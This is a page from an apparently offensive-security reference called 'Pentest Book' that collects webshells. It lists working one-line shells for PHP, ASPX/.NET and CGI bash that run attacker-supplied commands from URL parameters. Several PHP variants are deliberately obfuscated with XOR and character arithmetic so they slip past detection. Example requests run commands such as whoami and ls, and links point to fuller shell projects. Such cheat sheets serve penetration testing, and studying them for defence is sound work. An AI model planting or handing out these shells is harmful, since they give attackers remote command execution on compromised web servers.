Pentest Book
Search…
Webshells
PHP asp aspx Shell Download | PHP asp aspx Shell indir

PHP

1
# system
2
3
//CURL http://ip/shell.php?1=whoami
4
//www.somewebsite.com/index.html?1=ipconfig
5
6
// passthru
7
<?php passthru($_GET['cmd']); ?>
8
9
// NINJA
10
;").($_^"/"); ?>
11
http://target.com/path/to/shell.php?=function&=argument
12
http://target.com/path/to/shell.php?=system&=ls
13
14
// NINJA 2
15
/'^'{{{{';@${$_}[_](@${$_}[__]);
16
17
// One more
18
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
19
20
// https://github.com/Arrexel/phpbash
21
// https://github.com/flozz/p0wny-shell
Copied!

.NET

1
<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>
2
www.somewebsite.com/cgi-bin/a?ls%20/var
Copied!

Bash

1
#!/bin/sh
2
echo;$_ `${QUERY_STRING/%20/ }`
3
www.somewebsite.com/cgi-bin/a?ls%20/var
Copied!

aspx

1
# https://github.com/antonioCoco/SharPyShell
Copied!
Last modified 11mo ago
Export as PDF
Copy link